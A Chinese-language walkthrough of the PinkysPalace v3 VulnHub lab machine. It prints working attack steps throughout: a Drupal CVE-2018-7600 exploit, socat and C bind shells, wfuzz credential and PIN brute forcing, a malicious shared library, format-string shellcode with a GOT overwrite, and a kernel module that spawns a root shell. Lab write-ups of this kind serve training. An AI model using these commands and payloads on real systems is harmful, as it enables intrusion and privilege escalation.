vulnhub-PinkysPalacev3通关教程
通过nmap我们知道了靶机IP168
nmap 192.168.135.0/24 -sP

我们发现开放了3个端口,21端口是我们熟知的ftp,我们只能首先从这里突破了。
nmap 192.168.135.168

我们做一次全扫,看看5555和8000是什么端口,同时可能看到ftp账号密码(默认登录anonymous)
nmap 192.168.135.168 -p- -A


我们扫描出ftp可以匿名登录,这个账号密码nmap都爆破出来了。
ftp 192.168.135.168
dir
get WELCOME

通过file我们知道他的类型,cat知道了大概的内容。

我们发现ftp还有个文件看名字有点像防火墙的sh脚本。

这里告诉我们存在防火墙,无法使用meterpreter进行攻击。

通过nmap扫出来的文件我们发现这个是一个Drupal,我们成功识别CMS,并且还看到了有个CVE2018的漏洞还能利用CVE-2018-7600

通过脚本我们发现用户信息,发现三个用户pinky,pinksec,pinksecmanagement
python cve-2018-7600-drupal7.py -t 192.168.135.168 -c "cat /etc/passwd" -p 8000


我们发现安装了socat,可以利用socat拿到shell绕过防火墙。
python cve-2018-7600-drupal7.py -t 192.168.135.168 -c "which socat" -p 8000

利用脚本通过socat拿到www的shell,再用socat修复tty。
python cve-2018-7600-drupal7.py -t 192.168.135.168 -c "socat TCP-LISTEN:4444,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane" -p 8000
socat FILE:`tty`,raw,echo=0 TCP:192.168.135.168:4444

这里因为防火墙拦截的缘故,我们无法上传枚举脚本。但是有一句MD5永远不会骗人,我们可以base64来传输。

枚举到数据库信息账号密码,内部IP开放信息。dpink/drupink

我们登录数据库发现还有个用户信息。。。pinkadmin
mysql -udpink -pdrupink
show databases;
use drupal;
show tables;
select * from users;

这里的端口只对本地开放,那我们就要做端口转发了
socat TCP-LISTEN:8888,fork TCP:127.0.0.1:80 &
socat TCP-LISTEN:9999,fork TCP:127.0.0.1:80 &


再次nmap扫描9999,8888的信息。
Nmap 192.168.135.168 -A -p8888,9999

访问9999和8888的web页面发现9999没有什么可以获取的,8888就是我们要爆破的对象。


这里我们肯定是要爆破数据库的,我们发现一个后缀pwds
locate common-tables
wfuzz -w /usr/share/sqlmap/data/txt/common-tables.txt --sc 200 http://192.168.135.168:9999/FUZZ.db


我们发现爆出一个密码本。

当然,我们也可以自己生成字典来爆数据库,常见的后缀也做成字典。当然gobuster也能帮我们爆破出数据库。
crunch 1 4 abcdefghijklmnobqrstuvwxyz1234567890 > yang
nano db.txt
wfuzz -t 100 -w yang -w db.txt --sc=200 -c http://192.168.135.168:9999/FUZZ.FUZ2Z


不行了100的线程我cpu跑不动了。。。。

我们通过抓包可以看到我们post体中的信息从而构造我们的payload。我们可以用模糊测试(wfuzz)来尝试爆破账号密码。
user=1&pass=1&pin=1,我们pin认证随机给一个爆破账号密码。账号是我们前面通过CVE脚本枚举出来的当然数据库枚举出来也算,密码是我们爆数据库后缀时出来的。
wfuzz -c -z file,./user.txt -z file,./pass.txt -d 'user=FUZZ&pass=FUZ2Z&pin=22222' http://192.168.135.168:8888/login.php




这里有很多200,我们判断的依据时1看状态码,看长度。成功爆破出41的,这里我们第一次爆出来懒得看,也可以直接过滤45错误回显。pinkadmin/ AaPinkSecaAdmin4467

当我们过滤错误的回显后可以很快的找到正确的账号密码。这里我们虽然肉眼也能看,但是数量多的话我们还是过滤错误输出才是最好的。
wfuzz -c -z file,./user.txt -z file,./pass.txt -d 'user=FUZZ&pass=FUZ2Z&pin=11111' --hh 45 http://192.168.135.168:8888/login.php

当然,这个我们还差一步,pin就是我们电脑开机输入的认证。我们不知道pin是什么,我们只好用生成器生成字典来暴力破解它了。爆破出55849
crunch 5 5 123456789 > pin
wfuzz -t 150 -w pin -c -d "user=pinkadmin&pass=AaPinkSecaAdmin4467&pin=FUZZ" --hh 41,45 http://192.168.135.168:8888/login.php


至此账号密码pin我们都有了,那登录枚举信息下一步就是拿shell了。

我们发现这里可以执行cmd命令,我们在这里建立条tcp监听,kali正向寻找它。
socat TCP-LISTEN:6666,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
socat FILE:`tty`,raw,echo=0 TCP:192.168.135.168:6666


我们猜测我们的渗透路线是
www-data->pinksec(10001)->pinksecmanagement(1002)->pinky(1000)
我们查找pinksecmanagement的SUID发现pinksecd可以执行的shell
Find / -user pinksecmanagement 2>/dev/null

果然SUID是正确的路线。我们发现pinksecd虽然是在pinksec下,但是属主和属组都是pinksecmanagement,那么这个文件很可疑,就是我们从pinksec用户跃升到用户这个权限pinksecmanagement的一个跳板。

我们将base64传到本地后发现没有使用可以函数,那么溢出提权就是这题的思路。
Info function

但是我们发现它调用了共享库libc.so
Ldd pinksecd

回到靶机找到pinksecd的共享库并且可以写入
Find / -name libcpinksec.so 2>/dev/null
Ls -al /lib/libpinksec.so

这里我们发现共享库下使用了很多函数,我们将其覆盖掉,建议是覆盖printf下的函数
nm -g /lib/libpinksec.so

我们可以创建.c文件编译成.so共享文件。
#include <stdlib.h>
int psbanner(){
return system("/bin/sh");
}
int psopt(){
return system("/bin/sh");
}
int psoptin(){
return system("/bin/sh");
}

使用-shared -o -fPIC等参数将.c文件编译为.so文件
gcc -shared -o shell.so -fPIC shell.c

将我们的动态文件复制到libpinksec.so连接库里,当我们运行pinksecd的时候函数就去连接库找地址,执行被我们覆盖掉的函数
cp shell.so /lib/libpinksec.so

执行程序成功拿到pinksecmanagement的shell。

这个shell不稳定,有一种方法我们可以用公钥的方式登录这个shell。只要把kali的公钥复制进用户的.ssh下,kali就能通过私钥登录到当前用户的shell。用kali生成指定类型和字节的rsa密钥。
Ssh-keygen -t rsa -b 2048

公钥这个东西最好是放在同一文件夹和目录下。私钥的权限不能超过600。

将kali的公钥放到靶机上,kali就能通过私钥登录到靶机。
echo '' > authorized_keys

在当前私钥的路径下不需要指定私钥-I rsa,这个authorized_keys是固定名称
ssh pinksecmanagement@192.168.135.168 -p 5555

突然就有点喜欢上SUID枚举信息了,一下子就有思路了
Find / -name pinky 2>/dev/null
Find / -name pinksecmanagement 2>/dev/null

我们发现PSMCCLI的属主是pinky,但是我们当前的pinksecmanagement有操作权限,可写我们就能通过这个文件从pinksecmanagement跳到pinky。

把程序通过base64传到本地,还是那句话她会骗你,MD5永远不会骗你
Md5sum PSMCCLI


2000个字符都无法将其溢出,我感觉是没有溢出的,但是这一关是格式字符溢出。。。
./PSMCCLI $(python -c 'print ("A"*2000)')

我们查看mian函数发现一个问题,putchar函数调用了两个printf。那么我们就是要找到putchar函数的plt地址。



我们可以在kali本地使用工具看它开了什么安全机制
Hardening-check ./PSMCCLI
当然,gdb里使用checksec也是差不多,但是看不到开了只读重定向,这个可麻烦。


Shellcode我们就放到tmp目录下,将偏移量移动到tmp下。

将偏移量移/tmp目录中,并对其进行排序
export SPAWN=$(python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'")

我们查看putchar函数的plt地址,下面的就是got的地址。
Disas putchar
804a01c

将shellcode植入偏移后,我们就要找到shellcode的地址,用脚本(我修改了一下)吧,我也不太清楚。https://raw.githubusercontent.com/Partyschaum/haxe/master/getenvaddr.c
nano getenvaddr.c
gcc -o getenvaddr getenvaddr.c
chmod +x getenvaddr
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
char *ptr;
if(argc < 3) {
printf("Usage: %s <environment variable> <target program name>\n", argv[0]);
exit(0);
}
ptr = getenv(argv[1]); /* get env var location */
ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */
printf("%s will be at %p\n", argv[1], ptr);
}

运行发现要脚本加我们shellcode的地址和项目地址。发现shellcode的位置bffffe91
我们梳理一下,putchr的plt地址是0x804a01c我们要覆盖的内存shellcode地址是0xbffffe91
- 0xff 开头:栈地址
- 0xf7 开头:libc /ld.so 库的地址
- 0x0804 开头:程序本身(ELF 代码段,非 PIE)

我们看到我们要覆盖的地址就是高亮地址。
/usr/local/bin/PSMCCLI AAAABBBBCC$(python -c "print '%x.'*138")

我们要精确到个位,135-136之间。
/usr/local/bin/PSMCCLI AAAABBBBCC%135\$0x%136\$0x

我们找到低位地址就是putchar的plt
低位地址:0x0804a01c
高位地址:0x0804a01e(初始地址+2)
shellcode地址:0xbffffe91
/usr/local/bin/PSMCCLI $(printf "\x1c\xa0\x04\x08\x1e\xa0\x04\x08")CC%135\$x%136\$0x

ARGS我们找到了,接下来就是shellcode的高位和低位了。低位段字节地址: 0xfe91 = 65169,高位短字节地址: 0xbfff = 49151(由右到左,低位栈顶高位栈低)不理解后面可以跳了。。。


前半部分=49151 后半部分=65169-10bytes = 65159
这里豆包比我解释的好>_<对吧(我的解释:我们的payload本来就是8字节,加上2个字节对齐就是10字节)
后半写的时候,前面 payload 本身已经有 10 个固定字节了(就是放目标 GOT 地址的那 8 字节 + 对齐 / 填充,合计 10),这些字节会被 printf 算进 “已输出计数”,所以要减掉这 10,不然总数就超了。

这里要用hex来计算。。。
114687-65159= 49518

所有地址我们都找到了,将我们的shellcode一起植入还有对齐符,成功拿到了pinky的shell。
/usr/local/bin/PSMCCLI $(printf "\x1c\xa0\x04\x08\x1e\xa0\x04\x08")CC%65159u%135\$0hn%49518u%136\$0hn

到这一步我们继续放入公钥用私钥登录。

将kali的id_ras.pub放入靶机就行
echo '' > authorized_keys


成功登录进pinky的shell。
ssh pinky@192.168.135.168 -p 5555

将github上的工具下载下来
git clone https://github.com/PinkP4nther/Pinkit.git

将工具放到靶机的tmp下。
scp -P 5555 -i id_rsa -r Pinkit pinky@192.168.135.168:/tmp

根据作者的提示将其编译
Make

Sudo运行。
sudo /sbin/insmod pinkit.ko

绕过防火墙限制
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char* argv[]) {
int host_sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in host_addr;
host_addr.sin_family = AF_INET;
host_addr.sin_port = htons(atoi(argv[1]));
host_addr.sin_addr.s_addr = INADDR_ANY;
bind(host_sock, (struct sockaddr *)&host_addr, sizeof(host_addr));
listen(host_sock, 0);
int client_sock = accept(host_sock, NULL, NULL);
dup2(client_sock, 0);
dup2(client_sock, 1);
dup2(client_sock, 2);
execve("/bin/bash", NULL, NULL);
}

编译桥(绕过防火墙,这里我打完拿不到shell才发现,我的位置放错了。主要是第一次打的时候我都脚本改成指向/tmp/yang,这次bindshell位置放到tmp就指向错误。Mv回来就行。)
gcc -m32 -o bindshell bindshell.c

这个指向的是bindshell的位置,所以说bindshell的位置要记住就行了。
#include <linux/module.h>
#include <linux/kernel.h>
int init_module(void)
{
char *argv[] = { "/tmp/yang/bindshell", "7777", NULL };
static char *envp[] = {
"HOME=/tmp/",
"TERM=xterm",
"PATH=/sbin:/bin:/usr/sbin:/usr/bin", NULL };
call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
return 0;
}
void cleanup_module(void)
{
printk(KERN_INFO "Goodbye!");
}

这个就是指向总的编译
obj-m += root1.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

拿不到shell不是脚本问题,root1.c指向的bindshell位置问题。
Make

我说怎么连不上呢,那个绕过防火墙的桥的位置要和root.c编译指向的位置一样,不然root.ko找不到bindshell,绕不了防火墙,nc就连不上。这里我吧bindshell的位置mv到了root1.c指向的位置了,因为第一次打的时候我的root1.c指向的就是/tmp/yang,bindshell.c也是放在/tmp/yang,这次放到tmp下导致编译出来的root1.ko找不到bindshell连不上,但是将bindshell放回我第一次打的位置就行了。。。
sudo rmmod root1
lsmod | grep root1
sudo insmod root1.ko

完美!!!!

总结一下吧这台靶机作者定级是高级CTF,确实有点难总的提权路线
www-data->pinksec(10001)->pinksecmanagement(1002)->pinky(1000)
通过exp枚举到的信息直接拿到www-data的shell,在里面我们发现用户名并转发端口破解账号密码pin这些cmd拿到pinksec的shell,里面我们通过覆盖动态库.so(属主是pinksecmanagement)拿到了属主是pinksecmanagement的shell,我们发现里面的程序没有普通的溢出,是字符格式化溢出。通过找到plt,改写覆盖shellcode拿到pinky。提权时我们直接用github脚本,bindshell绕过防火墙限制,root1.c连接bindshell拿到rootshell权限。

浙公网安备 33010602011771号